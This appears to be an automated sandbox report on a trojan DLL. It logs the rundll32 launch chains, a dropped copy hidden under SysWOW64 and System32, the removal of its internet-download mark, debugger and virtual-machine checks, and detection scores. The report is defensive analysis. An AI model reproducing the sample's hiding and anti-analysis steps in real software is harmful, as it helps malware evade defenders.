Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EC85B8	23_2_00EC85B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EB59BF	23_2_00EB59BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EB43BE	23_2_00EB43BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00ECE3B5	23_2_00ECE3B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EB358B	23_2_00EB358B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00ECDB87	23_2_00ECDB87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EB8D80	23_2_00EB8D80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EBB191	23_2_00EBB191
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EC1591	23_2_00EC1591
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EB7795	23_2_00EB7795
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EBBD61	23_2_00EBBD61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EC6540	23_2_00EC6540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EBA92F	23_2_00EBA92F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EC9124	23_2_00EC9124
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00ECCD35	23_2_00ECCD35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EC590E	23_2_00EC590E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EC970A	23_2_00EC970A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00ECE10A	23_2_00ECE10A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EB4D1E	23_2_00EB4D1E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EBCB13	23_2_00EBCB13

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6E7BAC90 appears 33 times
Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6E7A1DE0 appears 97 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6E7BAC90 appears 33 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6E7A1DE0 appears 97 times

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: IGidwJjoUs.dll	Virustotal: Detection: 18%
Source: IGidwJjoUs.dll	ReversingLabs: Detection: 17%

Source: IGidwJjoUs.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,ajkaibu
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,akyncbgollmj
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cwisdx\vimpwfmepmyc.nyd",czAZWAgsaZPj
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 6888 -ip 6888
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6888 -s 308
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6888 -ip 6888
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6888 -s 304
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cwisdx\vimpwfmepmyc.nyd",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,ajkaibu	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,akyncbgollmj	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cwisdx\vimpwfmepmyc.nyd",czAZWAgsaZPj	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cwisdx\vimpwfmepmyc.nyd",Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 6888 -ip 6888	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6888 -s 308	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6888 -ip 6888	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6888 -s 304	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER42EA.tmp

Jump to behavior

Source: classification engine

Classification label: mal84.troj.evad.winDLL@36/14@0/2

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 23_2_00ED1B99 CreateToolhelp32Snapshot,

23_2_00ED1B99

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,Control_RunDLL

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6596:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:6948:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6888

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: IGidwJjoUs.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: IGidwJjoUs.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: aUojrXoCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000011.00000002.954537444.0000000000492000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944571126.0000000000891000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944524592.0000000000DEA000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944726193.0000000000891000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944963869.0000000000897000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944733553.0000000000897000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944575719.0000000000897000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000011.00000003.944963869.0000000000897000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944733553.0000000000897000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944575719.0000000000897000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944564783.000000000088B000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.945060966.000000000088B000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000011.00000003.944571126.0000000000891000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944726193.0000000000891000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: upwntdll.pdb source: WerFault.exe, 00000014.00000003.962626767.00000000048D5000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.962922934.00000000048D5000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000011.00000003.944564783.000000000088B000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.945060966.000000000088B000.00000004.00000001.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7C6A93 push ecx; ret	0_2_6E7C6AA6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7C6A93 push ecx; ret	2_2_6E7C6AA6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010213E7 push esi; retf	3_2_010213F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003B13E7 push esi; retf	6_2_003B13F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_005C13E7 push esi; retf	7_2_005C13F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_010B13E7 push esi; retf	12_2_010B13F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EB13E7 push esi; retf	23_2_00EB13F0

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E7AE690 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

0_2_6E7AE690

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Cwisdx\vimpwfmepmyc.nyd

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

File opened: C:\Windows\SysWOW64\Cwisdx\vimpwfmepmyc.nyd:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\svchost.exe TID: 2460

Thread sleep time: -120000s >= -30000s

Source: C:\Windows\System32\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7C0927 FindFirstFileExW,	0_2_6E7C0927
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7C0927 FindFirstFileExW,	2_2_6E7C0927
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00ECE2C8 FindFirstFileW,	23_2_00ECE2C8

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: Amcache.hve.17.dr	Binary or memory string: VMware
Source: Amcache.hve.17.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.17.dr	Binary or memory string: VMware-42 35 9c fb 73 fa 4e 1b-fb a4 60 e7 7b e5 4a ed
Source: Amcache.hve.17.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.17.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.17.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.17.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.17.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.17.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: WerFault.exe, 00000014.00000003.986775578.00000000048FB000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000002.988850293.00000000048FE000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000002.988815498.00000000048D0000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000002.1174922898.00000151084D2000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000002.1174714591.0000015108489000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000002.1175003928.00000151084EB000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.17.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.17.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.17.dr	Binary or memory string: VMware, Inc.me
Source: Amcache.hve.17.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.17.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E7C0326 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6E7C0326

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E7AE690 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

0_2_6E7AE690

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E7A1290 GetProcessHeap,HeapAlloc,HeapFree,

0_2_6E7A1290

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7B9990 mov eax, dword ptr fs:[00000030h]	0_2_6E7B9990
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7BEC0B mov ecx, dword ptr fs:[00000030h]	0_2_6E7BEC0B
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7C02CC mov eax, dword ptr fs:[00000030h]	0_2_6E7C02CC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7B9920 mov esi, dword ptr fs:[00000030h]	0_2_6E7B9920
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7B9920 mov eax, dword ptr fs:[00000030h]	0_2_6E7B9920
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7B9990 mov eax, dword ptr fs:[00000030h]	2_2_6E7B9990
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7BEC0B mov ecx, dword ptr fs:[00000030h]	2_2_6E7BEC0B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7C02CC mov eax, dword ptr fs:[00000030h]	2_2_6E7C02CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7B9920 mov esi, dword ptr fs:[00000030h]	2_2_6E7B9920
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7B9920 mov eax, dword ptr fs:[00000030h]	2_2_6E7B9920
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_010307D2 mov eax, dword ptr fs:[00000030h]	3_2_010307D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_003C07D2 mov eax, dword ptr fs:[00000030h]	6_2_003C07D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_005D07D2 mov eax, dword ptr fs:[00000030h]	7_2_005D07D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_010C07D2 mov eax, dword ptr fs:[00000030h]	12_2_010C07D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00EC07D2 mov eax, dword ptr fs:[00000030h]	23_2_00EC07D2

Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior
